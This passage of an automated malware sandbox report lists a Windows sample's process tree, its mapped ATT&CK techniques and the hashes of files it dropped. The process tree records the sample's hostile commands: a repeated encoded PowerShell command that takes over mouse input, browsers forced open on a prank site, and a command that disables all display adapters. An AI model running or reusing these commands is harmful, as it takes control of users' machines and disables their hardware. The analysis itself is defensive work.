      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where opera
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:2008
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where chrome
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:1628
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --new-window "https://youareanidiot.cc/lol.html"
      4⤵
      PID:6724
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x50,0x114,0x138,0xd4,0x13c,0x7ffadbf0c728,0x7ffadbf0c734,0x7ffadbf0c740
        5⤵
        
        PID:6712
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where msedge
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:7268
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --new-window "https://youareanidiot.cc/lol.html"
      4⤵
      PID:7864
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where firefox
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:7992
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -new-window "https://youareanidiot.cc/lol.html"
      4⤵
      PID:8132
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -new-window https://youareanidiot.cc/lol.html
        5⤵
        Checks processor information in registry
        
        PID:8172
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where brave
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:8140
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where opera
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:7424
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Get-PnpDevice -Class 'Display' | Where-Object {$_.Status -eq 'OK'} | Disable-PnpDevice -Confirm:$false"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:7700
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"cd "C:\Users\Admin\Downloads\ExtractedFiles"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:1532

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:3700

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:5640

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:7812

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x00000000000004C8 0x00000000000004C4
1⤵
PID:9196

C:\Windows\system32\WerFault.exe
"C:\Windows\system32\WerFault.exe" -k -l WATCHDOG WATCHDOG-20260818-1306.dmp
1⤵
PID:7800

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:4160

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
- Modifies data under HKEY_USERS
PID:8708

C:\Windows\system32\wbem\WMIADAP.EXE
wmiadap.exe /R /T
1⤵
- Drops file in System32 directory
PID:6124

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:8168

C:\Windows\System32\SecurityHealthHost.exe
\\?\C:\Windows\System32\SecurityHealthHost.exe {08728914-3F57-4D52-9E31-49DAECA5A80A} -Embedding
1⤵
PID:4496

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create Account

T1136

Local Account

T1136.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Wi-Fi Discovery

T1016.002

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

settings.dat

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad\settings.dat
Size 40B
SHA256 0348e188ce947271b1b49a9d58c1aaf1347e158d5de7ee8e42117c3b3d0a6c95
MD5 68c498148bcb2812bdc36d43cc0bb9c6
SHA1 f1a9976f5355ea5ad308c0e75210111fc74d8805
SHA512 9e183181a5fed97ca4d84032ba5cd14472bf475c4fc6b51eb28ada951e40ee94a9a80000a9dbe3e016f742118b2d359229f9b6a80254f616854f8ddc8de92da4
MD5 SHA1 SHA512

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

f_000004

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\f_000004
Size 62KB
SHA256 e96962c7df63a9fbe00dddda6e5360d639e7b25498fef7400fe0333fa5311294
MD5 5bbcb2d4f3b68ad1969574166cbf7210
SHA1 c1659c4e5b88de42858857ebffd3accaa360b02e
SHA512 71f65503cd3f12f908644cc2fecc7b5e833724c93107962935a74eef4d8eab2806200cf291d366c646f5d0f881e27f9252b7c1a39050eaf4388c7ec474ddca74
SSDEEP 768:GlmILj20bh/Jhu51KNCCcwgjjp1X3xRTFo8OmY1gqNjbBSxY45QY6FP5vv2Mvc/r:Gt7/ju35wgjjLrrqdb4xn5Vs57vcV+FY
TLSH
T1B553020A009EC47EE703DDA03087145E5FA508BAEFF5E3B9B012597B82667DAD75806E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 192B
SHA256 05aa7cab28d434210375e3ddc3db23761a183e3cad7b6a3dff9fc86f06a463d1
MD5 15353f5ca9e33ba77d16f04631d85943
SHA1 3a3779160efe02b705b34dac2caffa5a6c2a7074
SHA512 fd90ed9b61f0412d5137056df32040f4b11b5bc043a972e1f72114d57256fd2c03afd85ad48fc4cf7cb302fb6834eb5a8cbddff16b246a8422149244e764d19e
TLSH
T128C08C54AEC00AC7CBA04B731CEB8C3131029C665A2246370290EE88C4071F048041CB
MD5 SHA1 SHA512 TLSH

Submit Download

CURRENT

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GCM Store\CURRENT
Size 16B
SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
MD5 46295cac801e5d4857d09837238a6394
SHA1 44e0fa1b517dbf802b18faf0785eeea6ac51594b
SHA512 8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23
MD5 SHA1 SHA512

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
Size 2KB
SHA256 e3a9778e1cd5b7112317959881dd132510d3fb5fceb6060397c9f02350571bba
MD5 5c59442baadb82fb177e545bce688169
SHA1 a72230fa38b17ace5fc7de36a87228f7a5557271
SHA512 9d7a8211cdc8f1b9c087b7938a08fb7cede6a4d7a75d14902218c8006d42e339492e29d3bd9b59690a3b82e2bf3f8be6381665485c4c4a54685bb5c86de3c312
TLSH
T17F417CF783B4867DCA1196F4EB156E1FCE690528032C386689E4AE1B93E2871D11479F
MD5 SHA1 SHA512 TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
Size 2KB
SHA256 25239c73183a4c139c3cfb89e2f53bc24cea4c8e0b576650d8354866a771d9c3
MD5 1a7b9c6995b1a8954797d1aa04ca888e
SHA1 0c1da0a4c1a3f08546920c1fc58b99409570e697
SHA512 03c691c0a7262fbddcfb9c1ae2039ac24a79509886638384f94b0c4e60902c6782c482192fad964377685130b29580e78a69e72ca9a3a6974ee6f7e663f69f9f
TLSH
T11B416CF783E4C67DC91156F4DB156E1FCE6A0628032C3C66C9E4AE1B93E2871D21478E
MD5 SHA1 SHA512 TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
Size 1KB
SHA256 77844a9625dcc0ea22ea1bb6a7b9899183d0d8be030238f56ec22c4bae9411e3
MD5 aa5fda960ed09b517c71d57ce4cd68ea
SHA1 8f168d95c76abcaf23fdff99d163107f3999fa5a
SHA512 e5cb2d5fa09c22beed61efc86a7b7d524f63d7a7b0f825988269aa7f89cb13826f65530c8241a65173a25c01e2c612041ea09cec1df8ef068e24a4cdf912a195
TLSH
T1CB318EF783A4CABDCA1156F4DA156E1FCE690A24032C3866C9E4BE1753E28B1D11074F
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
